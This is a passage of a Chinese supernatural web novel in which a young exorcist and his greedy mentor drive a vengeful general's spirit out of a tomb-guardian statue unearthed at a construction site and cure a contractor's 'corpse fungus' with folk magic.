隔天下午明叔回来了,问我店里来过客人没有。我生怕他把那两万块钱要走,就支支吾吾说没有。 好在他没起疑,说没有就没有吧,你脸红什么? 我回了句,“精神焕发。” 明叔乐了,表示自己这两天联系上了一个大客户,可能长时间不在家, “我不在的时候店铺就由你帮忙照看,遇上什么业务自己处理,没问题吧?” 我急忙点头,心虚地目送明叔进屋,这才松口气。 老小子精得跟鬼似的,如果让他知道我用一万块一张的价格卖出了两张镇宅符,肯定要抽走大部分利润。 好在他最近挺忙,不知道究竟勾搭上了什么客户,三天两头出门,根本没心思理会我的小心思。 渐渐地我也就放心了。 又过了两天,正当我准备关铺子回去歇着的时候,那个冤大头竟然又来了。 和上次一样,他进门就甩出两万块钱,“小哥,再给我来两张符呗。” 我都傻了,心说这家伙一准有病,就算有两个骚钱没处花,也不用这么使啊。 这次我没好意思拿钱,反问中年人到底遇上了什么事,为什么隔三差五来买符。 他很不耐烦,说给你钱就拿着,废话这么多,是不是嫌钱少? 我看着他说,“两万块当然不少,可这些钱恐怕难保你的命!” 他眼皮跳了一下,很不爽地问我几个意思。 我打了个哈欠,说没什么意思,你买的都是些基础的灵符,符纸上的灵韵虽然可以保你一时平安,却做不到长久。 我一边说,一边偷偷观察他反应。 果然中年人眼皮跳得更厉害了,可他依然嘴硬,“你胡说,凭什么觉得我惹上了麻烦?” 我笑笑,说你要是没惹上麻烦,干嘛花钱来我这儿进货。 我虽然年轻,但最基本的眼力劲还是有的,第一次买符纸可能是因为猎奇,但第二次花大钱买符,那就代表一定出了事。 而且出的事恐怕不会小,靠那几张镇宅符根本搞不定。 中年人不吭气了,在我的邀请下坐向了沙发。 我给他倒了杯热水,“你这样不是办法,有事直说吧,我就是专门干这个的,或许能帮到你。” “那,你能保密吗?”中年人表情忐忑,似乎有些难以启齿。 我笑了笑,说当然,替客户保密是这一行的准则。 他松口气,像是下了很大决心,鬼鬼祟祟看了看铺子,问我能不能把门窗先关上。 虽然疑惑我还是照做了,猜到他接下来的事情肯定涉及到隐私。 等我关上门窗,转身再回去的时候,却发现中年人正站起来脱裤子。 当时我就惊到了,急忙摆手说,“你这是干嘛,我卖艺不卖身的……” 他哭笑不得,说我误会了,自己身上出了点问题,想展示给我看一下。 我眉头暗皱,心说这帮城里人可真奇怪。但看在毛爷爷的份上,并没有阻止。 很快中年人就把裤子褪下去,露出了半拉屁股,别说他屁股还挺白,配上一件红裤衩,让我特想笑。 可笑着笑着我表情就变严肃了,只见他屁股连接后腰的地方,居然长出了一大片霉斑! 霉斑印足有巴掌大,从股沟延伸到后腰,皮肤发生了很明显的腐烂痕迹,活像一块发霉的豆腐,上面都长白毛了。 我深吸一口气,走到他身后仔细观察,皱眉把头抬起来, “这些霉斑是怎么来的?” 第89章 翁仲 “不知道。” 中年人把头摇了摇,说这些霉斑是忽然长出来的,快一个月了,起初只是屁股痒痒,没觉得有多大问题,还以为是上火生疮了。 他胡乱抹了点膏药,以为痒几天就没事了,可随着时间推移,症状没有好转,反倒越来越刺挠。 因为位置比较特殊跟尴尬,中年人一直没有对外说,找了家小诊所拿药,以为可以控制住病情,不曾想一点效果都有…… 他这才意识到情况不对,自己长得可能不是一般的脓疮,问了几个医生都找不到病根,怀疑可能是冲撞了脏东西。 我点头,“那你又是怎么想起来古香斋的?” 中年人说,“我认识几个朋友,其中有人在这家店买过灵符,说是老板卖的符效果不错,我就来了。” 我哦了一声,“既然是这样,你上次就该把病情告诉我,干嘛花这些冤枉钱买镇宅符?” 中年人讪笑两声,神情有点尴尬,说一个大老爷们屁股上长霉斑,这件事说出去多少有点丢脸, “我怕有人误会,以为我是跟女人乱搞得了脏病,传出去名声就毁了。” 果然是死要面子活受罪。 我摇摇头,说你这不是脏病,没猜错的话应该是染上了传说中尸菌。 他一脸紧张,说什么是尸菌? 我耐着性子跟他解释,尸菌是一种比较特殊的孢子产物,通常会在坟墓中产生了。 古时候的人修坟,通常会选择低头较高的地方,防止阴天下雨盛水。 但坟头时间一长,若是无人打理的话,就会慢慢下沉,受到地下水浸泡。 尤其是阴雨天,经过雨水浸泡的棺木太潮湿,就容易病变产生这种尸菌。 尸菌是吸收了死人的怨气和尸毒产生的,有可能寄生在活人身上,最典型的症状就是皮肤瘙痒、溃烂。 一旦菌丝进入人体,在体表扎根,就会长出这样的霉斑。 “这东西比脚气还难治,普通的膏药根本没用,时间久了会逐渐扩散到全身。” 我一口气把话说完,中年人面露惊讶和佩服,讨好说,“小哥,年纪轻轻居然懂这么多,真厉害!” 我被夸得脸红,其实这些都是从书上看来的死知识,证明不了什么。 中年人愁眉苦脸说,“是啊,这东西一开始只有拇指大,后来有拳头大,现在已经发展到巴掌大小了,可把人愁死。” 上次他来我这儿买镇宅符,回去往腰上一贴,发现有一定的效果,最起码没有继续扩散了。 只是镇宅符撑不了两天,很快就失去效果,中年人没辙了,只能硬着头皮再来找我买。 我哭笑不得,说你这是讳疾忌医,镇宅符根本就压制不了尸菌,之前你觉得有用,那完全是你的心理暗示! 中年人说,“那怎么办,你有办法帮到我吗?” 我想了想说,“我现在没办法给你肯定的答复,必须找准源头才能对症下药,你染上尸菌之前接触过尸体没有?” 他连忙摇头,说没有,自己是个包工头,平时就住在工地上,哪有机会接触尸体。 经过闲聊,我了解到中年人姓姜,在市郊一家工地搞土建,算是个不大不小的老板。 我又说,“那你有没有接触过坟墓里面挖出来的东西,比如收藏古董之类的爱好?” 这年头有钱人都喜欢附庸风雅,我就见过一个斗大字不识的土财主,偏要装文化人,花几十万买了个尿壶摆在书房,逢人就说是慈禧老佛爷生前用过的东西。 老姜还是摇头,说没有啊,自己文化确实不高,没什么艺术鉴赏能力,才舍不得花那个冤枉钱,哦,对了…… 话说一半,他忽然想到什么,一拍脑门说,“经你这么一说,我倒是想起了一件事。” 老姜说上个月自己的工地出了件怪事,工人在打地基的时候,忽然从下面挖出了一个石像。 那石像长得很怪,龟甲形后背,顶着一个巨大的壳,四肢像王八,但脑袋却长得很像人,青面獠牙,被打造得特别狰狞。 挖出石像的工人怀疑这可能是古代留下的文物,本想报告给有关部门。 但被开发商老板拦下了。 如果文物局真的鉴定出是古董,肯定会带人把工地围起来,到时候开发商没办法继续施工,会损失一大笔钱。 所以他们封锁了消息,准备把石像吊起来,找个地方埋了,再继续施工。 可说来也怪,那石像好像在地下生根了似的,无论工人们怎么拉,甚至连起重机都用上了,愣是没办法撼动。 老姜不信这个邪,让工人继续挖,准备把坑挖大一点,看看下面怎么个事。 这一挖就出事了。 首先是一个上了年纪的老工人,莫名其妙掉进坑里摔断了腿,第二个工人下去救人,结果同样把自己摔伤。 一开始大家以为是巧合,也没人在意。 可凡是参与挖掘的人,都莫名其妙遇上了怪事,要么是走路踩钉子,要么是莫名其妙晕倒,醒来就开始发烧。 最邪门的事,每次他们把坑挖开之后,到了第二天,那些泥沙都会重新填回去,跟没挖的时候一样。 我若有所思地摸下巴,说然后呢? 老姜苦着脸说,“开发商给的期限越来越近,我也是没办法,干脆让人对着石像点了一炮。” 以为只要炸毁了石像,问题就能迎刃而解了。 可惜这一炮仗没控制好药量,不仅没能炸开石像,还误伤了好几个工人。 事情闹大了,引来新闻记者采访,开发商动用了不少关系才把这件事压下来。 可工地却没办法继续施工,一直处于停摆状态,害老板损失了不少钱。 我默默点头,“你们应该是挖到翁仲了。” 老姜一脸惊讶,“啥是翁仲?” 我说是一种用来镇墓的灵像,也叫石像生,主要用途就是镇守墓穴,防止受外来的侵扰,一般只有古代的王公大墓才有资格使用。 老姜一拍大腿,“这么说我身上的麻烦也是来自那个石像?” 我摇了摇头,现在还不好说。 翁仲是用来守墓的,一般不会导致人染邪。 可所有接触翁仲的人都出了事,也就只有这一个解释了。 我让老姜先回去等消息,等我找朋友商量之后再跟他联系。 至于他屁股上的尸菌,等挖出邪物之后才好处理。 老姜苦着脸答应,叮嘱我要抓紧,自己可不想让屁股继续烂下去。 我忍住笑,送他出门,直接把电话打到明叔那里,问他什么时候能回来。 听到有买卖,明叔马上说,“你先把客户稳住,我今晚就回!” 第90章 开发商女儿 老小子效率果然很高,天刚黑就火急火燎回了铺子。 我把情况告诉了明叔,他听完后连连点头,“看来这个翁仲确实有问题,不如明天亲自去工地看一看再说。” 隔天我就联系上了老姜,问他屁股上的尸菌变大了没有。 老姜哭丧着脸说,“不仅变大了不少,而且更痒了,还长了很多白毛。” 我说你别急,把工地位置发给我,自己马上带朋友过去。 出发前我按照惯例带上了老蝙蝠,王刚也想跟着去,我没同意。 他身体还没有完全康复,目前最重要的就是养好身体,认真钻研黎巫法门,将来有的是表现机会。 开车半小时,我和明叔到了工地大门口。 老姜早等得不耐烦,挠着屁股说,“你们可算到了,赶紧跟我进去吧。” 这个工地占地面积不小,看样子开发商老板挺有实力。 我们走过的地方到处坑坑洼洼,随处可见停摆机械设备,偶尔还能看到一些工人在外围施工,干得热火朝天。 明叔说,“工地不是出事停工了吗,怎么还有这么多工人?” 老姜说,“只是挖出翁仲的地方停工了,其他项目不敢耽误,开发商吴总为工地投资了大量资金,我们不敢完全停工,否则损失可海了去了。” 我皱眉说,“你们就不怕其他工人出事?” “能出什么事,就算工人出事了,还有工伤保险呢,怕什么。” 老姜不耐烦地摆摆手,我对他的说法感到很不满,工人的命也是命,明知道挖出了脏东西,怎么还要硬着头皮蛮干? 穿过施工区域,我们来到当初打地基的地方。 这里有个直径一米多的土坑,下面有不少淤泥,旁边还摆着几台抽水机。 土坑里面的水流污浊不堪,泛着黄色稀泥,看不透下面有什么。 我敲了敲槐木牌,小声询问老蝙蝠,“老黄,能嗅到不寻常的味道吗?” 老蝙蝠马上说,“有尸气,不过埋得比较深,需要先把这些水抽干再说。” 我重新找到老姜,问他能不能找几个工人先把淤泥清理干净,老姜刚要点头,工地里面却走出来一个穿着黄色外套的年轻女孩, “咦,你们是谁呀?” 我回头看到一个身材高挑,五官俏丽的年轻女孩正朝这边走来,正疑惑对方的身份。 老姜赶紧停止抓屁股的动作,一脸狗腿地小跑过去,“大小姐,您也来了?” “我听说老爸的工地出了问题,就过来看一看。” 女孩指了指我们,说他们是? 老姜赶紧介绍,说这两位是自己请的大师,专门负责处理工地上的麻烦。 然后又指着女孩对我介绍,“这位是开发商老总的女儿,叫吴娅。” 别看老姜财大气粗,好像是个成功人士。 但他只是工地上的一个小包工头,见了开发商老总的女儿马上卑微得跟个孙子似的。 我正要和这位吴娅小姐打招呼,对方却好奇地瞪大眼睛说,“大师?是电视上演的那种可以驱魔抓妖的茅山道士吗?” 我干咳一声,说不是,茅山属于玄门大宗派,不可能为了一点蝇头小利跑来接这种活。 只有我们这些民间散修才会接这种业务。 吴娅哦了一声,好像对我身份很感兴趣的样子,上来问这问那。 “你这么年轻,怎么会懂道术啊?” “听说干这行的经常看见鬼,鬼长什么样,是不是青面獠牙像电视上演的那么可怕?” 连珠炮一样的提问快把我搞懵了,赶紧对老姜使眼色。 老姜急忙对吴娅说,“大小姐,工地上危险,要不你还是回去吧,待在这种地方不符合你身份。” 吴娅摇摇头,说才不呢,自己从小就喜欢看恐怖小说,特别仰慕那些捉鬼大师。 今天好不容易遇上个真的,她要留下来看看我们是怎么处理工地问题的,顺便搞清楚这个世界上是不是真的有鬼。 我都无语死了,驱邪有什么好看的,也不怕受牵连。 我老姜赶紧想办法把人劝走,可老姜却两手一摊,说人家是开发商女儿,整个工地都是她家的,我可得罪不起。 实在没辙,我只好先把吴娅晾在一边,让老姜找几个工人过来,抽掉坑里的污水再说。 现在是白天,下午一点钟阳气最旺,这个时候抽水不会有问题。 老姜连忙照做,趁着抽水需要点时间,他邀请我们去外面馆子吃饭。 席间老姜问我们,需要多久能把这事情搞定。 明叔夹了颗花生米塞进嘴里,细嚼慢咽说不确定, “顺利的话今晚就成,但邪翁仲特别难搞,也许要耽误很长时间。” 老小子每次跟客户谈话,都会故意夸大业务难度,好趁机抬价。 老姜也是社会人,哪能看不懂?当场说,“我已经和吴总商量过了,只要你们能尽快搞定那个邪门的石像,价钱随便提。” 明叔马上报出了五万的价格,老姜想都没想便答应了,付定金的时候忽然提出一个要求, “今晚搞得定最好,实在搞不定的话,能不能帮我糊弄一下外面的工人,让他们先开工怎么样?” 明叔一愣,似笑非笑说,“怎么连这点时间都等不起吗?” 老姜干笑说,“工地停工快一个月了,开发商每天都在亏钱,我也跟着亏不少……” 我有些无语。 这家伙只想着赶工期,却不在意工人的安全,活该烂屁股! 从饭店出来,里面水也抽干了,几个工人正围着土坑窃窃私语。 老姜很不客气地走上去,操着嗓门说,“愣着什么,都不用干活了是吧,赶紧回各自的岗位,耽误了工程进度小心拿不到工资!” 有个工人说,“中午一直在抽水,我们还没顾得上吃饭呢。天这么热,总得让我们睡个午觉吧。” 他梗着脖子呵斥,“吃什么饭、睡什么觉,请你来工地干活,不是当大爷的!” 我感觉丫很不是东西,对工人的态度可真恶劣。 不仅我看不惯,工地里同样有人看不惯。 很快人群后面就传来一道声音,“姜经理,你干嘛这么大声对工人话说?” 老姜一愣,扭过头看见来人是吴娅,瞬间换了幅孙子嘴脸,“是大小姐,您还在这里做什么?” 吴娅说,“上午不是说了吗,我要亲自看大师是怎么驱邪的,不仅我要看,我还带了朋友跟我一起来看呢。” 得,有钱人家的大小姐,果然看热闹不嫌事大。 我和明叔均感无奈,这一行有些手段是不能随便展示给外人的。 第91章 引蛇出洞 顾不上搭理这位离奇的吴家大小姐,我们遣散了工人,走到土坑边缘查看起来。 水已经抽得见底了,泥坑下果然出现了一个石像。 石像大概一米多高,雕刻得活灵活性,是个水兽的模样。 只是这水兽的外表很狰狞,尤其是眼珠部分,好像被人涂抹了红色的颜料,活灵活现,很传神。 明叔倒抽了一口凉气说,“翁仲怎么被人点上了眼睛?” 我问明叔,点上眼睛有问题吗? 他点头说,“问题大了,这叫红眼翁仲,是典型的邪器,一般王侯大墓不会使用红眼翁仲,因为杀气太重,反倒有可能惊扰墓主的魂魄。” 我摸了摸槐木牌,询问老蝙蝠怎么看。 老蝙蝠反馈道,“石像的眼珠红得不正常,怕是吸收了尸气,已经成了气候。” 我惊愕不已,上次老蝙蝠说石头也能成精的时候,我还不相信,没想到这么快就遇上了。 它嘚瑟道,“就说你没见识吧,石像成灵的情况一点都不罕见,尤其是受过香火的石像,多少都带点灵气。” 不过坑里的邪翁仲并不是因为吸收香火邪气才成灵的,它是被困在地下太久,吸收了坟墓里的尸气,经过地煞止滋养才形成的邪物。 “我可以断定,坟墓下面安葬的人生前一定是个人屠,也许是古代将军之类的角色,生前杀过不少人,所以墓坑带着很浓的杀气。” 这些杀气感染到了翁仲,让它变成了邪物。 谁碰谁倒霉! 我一听就犯难了,这要怎么应对? 老蝙蝠说,“两个办法,要么挖出来,找个阳气足的地方让大太阳暴晒,点上荔枝树烧,等上个个月,上面的邪气自然会慢慢消失。” 第二个办法是把里面凶气引出来,强行灭掉。 不过这么做有风险,万一镇不住这股杀气,我一定会被它所伤。 我比较偏向于第一种,扭头找老姜商量。 他一听就摇头,“不成,那岂不是要耽误来那个一两个月的工期?再说我屁股上的霉斑都快藏不住了!” 那就只能选择第二种了。 虽然比较凶险,但在老蝙蝠的协助下,倒是可以试试看。 我让老姜去扯一块大红布,必须是一整块、三十米长的那种,在这里搭个棚子把土坑盖起来。 今晚我们会想办法把翁仲里的邪气引出来,就地消灭。 老姜马上让工人赶紧去找。 就在我们搭建布棚的时候,那位吴大小姐却好奇地凑过来说,“林大师,为什么要搭这么大个棚子,还必须用红布遮住?” 我无奈解释说,“红布能压邪,搭个木棚,是为了防止下面的邪气扩散出去。” 吴娅似懂非懂,刚要继续追问,身后却传来一道不屑的声音,“拉倒吧,都什么年代了还玩这一套,一看就是故弄玄虚。” 我怔了怔,看向说话的人,发现是个二十五六岁的年轻男子,正带着审视的目光打量我们。 吴娅马上说,“孙杨,你瞎说什么呢,真没礼貌。” 年轻男人则是板着脸,“小娅,你太年轻,别被这些江湖骗子蒙蔽了,眼瞅着他们就是为了骗你家钱。” 这家伙姿态很傲慢,拽得跟个二五八万似的,让我很不爽。 吴娅赶紧对我道歉,“不好意思林大师,孙杨是我朋友,知道我家工地出事,特意赶来陪我查看情况的。” 我淡淡地说,“你朋友好像信不过我们。” 吴娅有点脸红。 我继续说,“这种地方不适合让外人进来,你还是带朋友走吧。” 我可不像老姜那样,为了讨好开发商女儿就毫无原则。 这地方很危险,尤其是女孩子,万一被邪气冲撞就不好了。 话刚脱口,那个叫孙杨的家伙就冷笑道,“你这么急着赶走我们,是担心骗术会被人拆穿吧?” 我把眉头拧成一个川字,丫怎么说话的。 孙杨继续冷嘲热讽道,“也对,骗子做戏法的时候当然不能让人看见。” 我刚想回敬他两句,明叔却笑呵呵地说,“小伙子,你都没见过我们,怎么可以说我们是骗子?” 孙杨鼻孔朝天,说自己就是知道,都二十一世纪了还搞这些封建迷信,不是骗子是什么。 我气得牙根痒痒,明叔却皮笑肉不笑,说你要是不怕的话,今晚可以留下来,看看我们到底是怎么行骗的。 孙杨还来劲了,“行啊,被我拆穿了可别后悔!” 明叔嘿嘿一笑,背过身没理。 一看明叔那表情,我就知道这老小子没憋好屁。 如果孙杨坚持留下来,今晚肯定会倒霉。 我很不喜欢这个纨绔子弟,也就懒得提醒,就算说了人家也未必会信。 搭好布棚,明叔找到老姜,让它弄一些乌鸦血和草木灰过来。 老姜不理解,问我们找这些东西有什么用。 明叔解释道,“乌鸦血属阴寒之物,最招邪物喜欢,在贡品上洒满乌鸦血,就能引出下面的邪气。” 虽然明叔能力不怎么样,可作为这行的老人,经验却很丰富,知道什么时候该上什么手段, “至于草木灰嘛,那是给活人用的,用来遮住我们身上的阳气,免得被邪气盯上。” 听到明叔的安排,吴娅满脸崇拜,甚至专门拿了个小本本记下来。 反观孙杨却是一脸的不屑,那表情就跟听笑话似的。 我假装没看见,心里暗想,“你就得意吧,敢当面骂明叔是江湖骗子,有你好果子吃!” 通过这段时间相处,我很清楚明叔的为人,老小子损招多着呢,睚眦必报心眼还特别小。 当面不发作,肯定是为了背后阴人。 天黑得很快,不知不觉就到晚上十点了,工地很安静,不知道从来飘来一股冷风,让人浑身不舒服。 吴娅毕竟是个女生,看着布棚内外黑漆漆的环境,感到不安,下意识裹紧外套。 孙杨马上挺了挺胸膛,“放心吧小娅,就算真有危险,我也会第一个保护你的。” 得,又是一只死舔狗。 明眼人都能看出来,孙杨根本不关心这个工地上的事,之所以坚持留在这儿,只是为了在吴娅面前挣表现。 城市里长大的孩子,光长个子不长脑。 看着明叔那副贱笑兮兮的表情,我已经在心里暗自为他祈祷。 很快老姜就带着我们需要的东西赶来。 明叔插上香烛、摆上贡品,把乌鸦血淋在贡品上面时,故意假装手抖,把少量乌鸦血洒在孙杨的皮鞋上。 我看见了,却没点破。 第92章 吃撑了 洒完乌鸦血,明叔把草木灰取出来,让所有人用草木灰抹在脸上。 吴娅觉得很脏,吐了下舌头说,“可不可以不往脸上抹这种东西?” 女孩子总是爱美的,让她把这些草木灰抹到身上,确实比较为难。 明叔这次却不开玩笑,很严肃地说,“必须抹在脸上,只有用这些草木灰遮住身上的阳气,才不会被石像邪气盯上。” 再怎么说吴娅也是开发商的女儿,她要是出了事,我们不仅一分钱拿不到,搞不好还会被追究责任。 老姜也劝吴娅配合一下,说事后只要洗一下就好了,也不麻烦。 吴娅只好同意了,用香灰抹向自己清秀的脸蛋。 我和老姜也赶紧照做,这时候孙杨又开始作妖了,不屑地哼了句,“故弄玄虚!” 明叔看了他一眼,不咸不淡说,“看来孙少爷是不需要了。” 他本来就准备让孙杨当“炮灰”,当然不会主动提醒他。 反倒是吴娅怕出事,出于好心提醒孙杨,说你还是听话照做吧,他们说的好像是真的。 孙杨更不屑了,“小娅,都说了这是一般江湖骗子的把戏,我才不要呢。” 我们都没理他,抹上草木灰后,明叔就把我带到外面说,“我只能把地下那股邪气引出来,具体怎么操作还得看你和老黄的,有信心吗?” 事情都到这一步了,有信心要上,没有信心创造信心也要上。 我摸着槐木牌,感受里面传来老蝙蝠的气息,用力点了下头。 时间在不断流逝,凌晨之后,工地里的灯光慢慢熄灭,我们守着那个土坑耐心等着。 折腾这么久,吴娅已经有了睡意,打着哈欠说,“都后半夜了,怎么还是没动静?” 孙杨找到了打击我们的机会,马上哼道,“江湖骗子嘛,他们的话怎么能……” 呼呼! 没等他把话说完,台子上的蜡烛就被一股冷风熄灭,光线毫无征兆地暗下来。 吴娅被吓一跳,条件反射地躲到我身后,“刚才那股风是怎么回事?” “嘘,别吵!”明叔使了个眼色,让我们全都闭上嘴。 此时洒完乌鸦血的地方已经有了反应,我聚精会神看过去,黑暗笼罩下,土坑里的石像涌出一团血气,正在缓慢地抬升,逐渐往供桌方向移动。 看来明叔的办法有了效果。 乌鸦血石阴寒之物,对邪物有大补功效,石像下面的东西也不例外,已经被彻底引诱出来。 不过那片血气只是负面能量的一种表现显示,吴娅和老姜肉眼凡胎,根本看不到血气的存在,但明显感觉土坑的温度正在降低。 两个人都忍不住打起了摆子,孙杨也觉得气氛不对,紧了紧上衣说,“天怎么变冷了,你们又在搞什么鬼把戏?” 明叔表情变得戏谑起来,故意刺激他说,“你不是不怕吗,躲在后面干嘛。” 孙杨果然上当,说谁怕了,谁怕谁孙子。 明叔的笑意更明显,“那你敢不敢去摸一下石像?” 明眼人都看得出来,明叔是故意引导这家伙去蹚雷,只有这个大傻子自己看不出来。 他果然上当,说摸一下怎么了,我不仅敢摸,还敢朝它吐口水呢。 孙杨边说边往土坑走去,看着这个二愣子的举动,我真是哭笑不得,被明叔当猴耍都不知道,也是活该倒霉。 就在孙杨骂骂咧咧走向那个土坑,准备蹲下去摸石像的时候,预料中的事情发生了。 只见孙杨身体一抖,骂声不见了,表情忽然变得呆滞,保持那个动作一动不动。 吴娅低喊了一句,“孙杨,你怎么了?” 孙杨不回答,保持那个姿势跟个木头人似的。 我和明叔心里跟明镜似的,这小子身上占了乌鸦血,本身就容易被邪气惦记。 加上他为了凸出自己胆大,没有抹上草木灰,邪气第一时间就找上他,完全在意料之中。 “呵呵!” 忽然,孙杨诡异地扬起嘴角怪笑了下,麻木地转回头,露出一张歪斜僵硬的脸。 “啊……” 吴娅的尖叫声只喊出一半,就被生生吓回去了。 只见此时的孙杨眼珠发红,五官抽条不停发生抖动,表情狰狞歪斜,都扭曲到不成人样了。 “动手。” 明叔对我喊了一句,自己也退到吴娅身边,拉着她一起后退。 我赶紧掏出事先准备好的道符,用最快的速度丢出去一张,贴向孙杨的额头。 邪气上了孙杨的身,只要定住它就好办,这也是明叔故意戏弄孙杨,让他出头的理由。 可意外的情况发生了,道符帖中目标,孙杨却没有马上倒下,嘴角反而扭曲得更厉害,眼睛红得像灯泡,杀气腾腾怒吼, “来者何人,竟敢戏弄本将?” 他的语气变得格外粗犷,完全是个五大三粗的老爷们形象,与那种奶油小生的气质截然不符。 我心脏抖了一下,老蝙蝠早就提醒过我,下面埋的主杀气很重,搞不好是个“人屠”。 现在孙杨又用“本将”自居,看来没跑了。 墓主人生前应该是个将军之类的角色,上过战场,冷兵器时代杀人全靠刀剑,所以死后才会在坟头留下这么重的杀气! 我深吸一口气,再次掏出一张道符,狠狠压向孙杨。 “啊!”孙杨则怒吼一声,眼中凶光迸射,反手推倒桌上的贡品和碟子,挥拳头朝我打来。 他拳头的力量十分勇猛,我两只手都接不住,被打的一个踉跄,手肘发麻沉得举不起来。 不愧是古代大将,哪怕死了,光凭一股邪气都能爆发这么强的力量。 跟武将比力气那纯纯是找死,我马上举起槐木牌,大喊,“快去!” 老蝙蝠化作一团灰影疾射而出,盖住孙杨的脑门。 孙杨白眼上翻,露出痛苦之色,变得更加疯狂,不断捶打供桌,把瓜果贡品撒了一地。 我手掐道诀拼命念咒,一边超度那股邪气,一边替老蝙蝠捏了把汗。 武将的邪气太凶了,老蝙蝠虽然比刚渡雷劫的时候厉害了不少,可依然只是灵体,对付这么厉害的恶灵,会不会有散失? 好在担心是多余的,激战片刻,很快我就听到孙杨发出的惨叫。 他一屁股坐倒,头上那股血气变淡了几分,残余的气息还想逃回土坑,被老蝙蝠途中拦截,张大嘴吸了个干净。 血气刚融入老蝙蝠的身体,瞬间把它的身体也染红了。 老蝙蝠变成一个胀气的皮球,被撑得不停打嗝儿,晃晃悠悠钻进我的槐木牌。 耳边响起它贱兮兮的骂声,“这家伙好生猛,爷吃撑了,给我点时间慢慢消化。” 第93章 敲竹杠 我连忙点头,虽然老蝙蝠勉强制服了那股邪气,但看样子也消耗了不少精力。 这次只能算险胜,多亏武将留下的只是一股残余的邪气,否则今晚有很大概率翻车。 邪气被老蝙蝠一口吞,发狂的孙杨也安静下来。 这小子晃晃悠悠爬起来,看了看自己满身的泥点,顿时吓得尖叫, “握草这什么鬼,我刚才在怎么回事?谁把符贴在我脑门上了!” 他扯掉我的道符,气得直跳脚,对刚才发生的事情茫然无知。 吴娅和老姜却看得很真切,都傻愣在原地。 好一会儿吴娅才小心翼翼地说,“你刚才……好像被鬼附身了。” “开什么玩笑,我怎么什么都想不起来?”孙杨很激动,扶着脑门还是一脸的不服气。 吴娅见状也没跟他啰嗦,直接打开手机,放了一段录像。 原来刚才我们驱邪的时候,吴娅竟然偷偷打开手机,录下了孙杨发狂的全部过程。 看着手机屏幕中自己那抓狂尖叫,疯狂掀翻供桌的模样,孙杨终于信了,脸色难看愣在原地好久。 忽然他反应过来,铁青着脸对明叔说,“靠,你算计我!” 明叔依旧是那副笑眯眯的样子,“我哪儿算计你了,明明是你自愿去摸石像的。” 软刀子杀人不见血,虽然孙杨料定明叔在戏弄自己,偏偏找不到发作的理由,气得脸色发红,恶狠狠瞪他一眼,留下一句“你等着”,便狼狈地逃离这里。 我感觉明叔这玩笑开得有点过分,孙杨毕竟是有钱人家的纨绔子弟,不会因为这事记恨上我们吧。 明叔不屑一顾,说这种纨绔子弟就是欠收拾,今天只是给他点小教训而已,算不了什么。 而且我们确实缺少一件引出邪气的“工具”,既然这傻小子那么急于证明自己,自己就顺势而为,给他这个机会。 我哭笑不得,老小子确实够阴的。 这时候老姜一脸害怕地走过来,抖着嘴皮说,“大师,问题到底搞定了没有?” 我擦掉汗水说可以了。 他又指了指自己的屁股,说那我身上的东西…… 我说,“先不急,马上把工人叫过来,现在可以挖石像了,没猜错的话,这个石像下面应该有个古墓,先把棺材弄出来吧。” 老姜目睹了刚才的全部过程,已经彻底信服,马上掏出对讲机,找来几个胆子大的工人。 工人们干活很麻利,赶在天亮前吊起了石像,继续往下挖了两米深,果然挖出一口已经腐烂的棺材。 我们把棺材撬开,里面是一堆早就腐烂的人骨。 散落的人骨旁还装有不少陪葬品,佩刀、盔甲之类的一应俱全。 “果然是武将的坟墓。” 明叔通过对这些陪葬品的研究,判断出墓主人的身份,应该是明朝时期的边关武将,在战场上立过不少功劳。 但最后不知道因为什么缘故,好像是获罪了,被罢官发配到这里,最终郁郁而终。 武将生前杀人如麻,杀心很重,加上死前遭到了不公正的待遇,导致胸口有一股怨气咽不下,最终才形成了那股邪煞之气,并污染了翁仲。 老姜紧张兮兮地说,“先别管这个人,我屁股上的霉斑怎么祛除,你们不是承诺过,只要挖出石像就有办法吗?” “别急,你的事情并不麻烦。” 明叔走到武将棺材附近,带上手套,把手伸进去一阵掏弄,最终掰下了武将的一颗牙齿。 他让老姜把这颗牙齿带回去,找工具研磨成粉,兑点糯米水,敷在屁股上,不出三天霉斑就会消失。 老姜恶心坏了,“不是吧,这种治疗方案也太恶心了,还没有别的办法?” 明叔坏笑说,“原汤化原食嘛,你的尸菌只能用这个办法治,劝你还是抓点紧吧,免得时间耽误太久,扩散到前面去。” “啥,会转移到前面?”老姜全身颤抖,下意识夹紧了双腿。 我把地上那两张道符捡起来,正准备带回去处理。 老姜却忽然挡住我,结结巴巴地说,“大师,能不能把这两张符卖给我?” “你要这个干什么?” 我很意外,道符已经用过了,上面的灵韵基本消耗干净,没多少剩余价值。 老姜干笑说,“通过这次的事,我感觉最好还是随身带两张符比较保险。” 不等我开口,明叔便假装为难,“林峰这两张道符价值不菲,可不是随便送人的。” “规矩我懂,还是老价钱,一万一张怎么样?” 老姜一听,反倒把道符抓得更紧了。 看着明叔贱兮兮点头答应的样子,我心里一阵无语,这竹杠也敲得太狠了。 可收下道符后,老姜又仿佛换了一个人,对那几个正在挖坑忙活的工人吼道,“你们特么的挖快点,都没吃饭是吧?” 我忽然就不替他惋惜了。 事情到此算告一段落,至于棺材和翁仲怎么处理,不是我们该操心的事。 吴娅提出要联系文物局的人过来,如果里面的陪葬品真价值的话,就无偿捐给相关部门算了。 明叔很肉疼,回去的路上一直在抱怨,“这丫头可真不把钱当回事,好歹是明朝武将的墓,随便搞点陪葬品出来,拿到黑市上也能值个大几万。” 我无语道,“你除了钱就不能聊点别的?” 吴娅是开发商老总的女儿,根本不缺钱用,思维和想法也跟咱们不一样,会做出这种举动很正常。 我最看不惯明叔那副唯利是图的样子,回头问他这单生意能分我多少。 老小子转给我五千块钱,说是我的劳务报酬。 我气得牙痒,他从老姜那里得到了七万块,才分我这点,简直巨坑。 明叔理直气壮,提醒我欠他的债还没还清呢。 我都不稀得搭理他,气冲冲回了出租屋。 等返回去之后,天色恰好亮起了。 我把窗帘拉上,敲了敲槐木牌,询问老蝙蝠感觉怎么样。 昨晚的驱邪过程看似简单,但老蝙蝠出了大力气,个中凶险只有我和它才清楚。 如果武将的邪气再深一点,翻车的就是我们。 他打了个饱嗝,表示还好,就是有点撑。 老蝙蝠的元神还在恢复期,需要吸收大量的阴气帮自己滋养元神。 武将的邪气刚好能被当成补品吸收。 就是这一次吃得有点撑,差点胀坏了肚子,老蝙蝠需要花一点时间来消化,短时间内没办法跟人动手。 第94章 富家女的心事 我松口气,只要没撑坏就行。 虽然老蝙蝠平时给人感觉贱贱的,可关键时候却不掉链子。 我感觉自己越来越依赖它了,但这未必是好事。 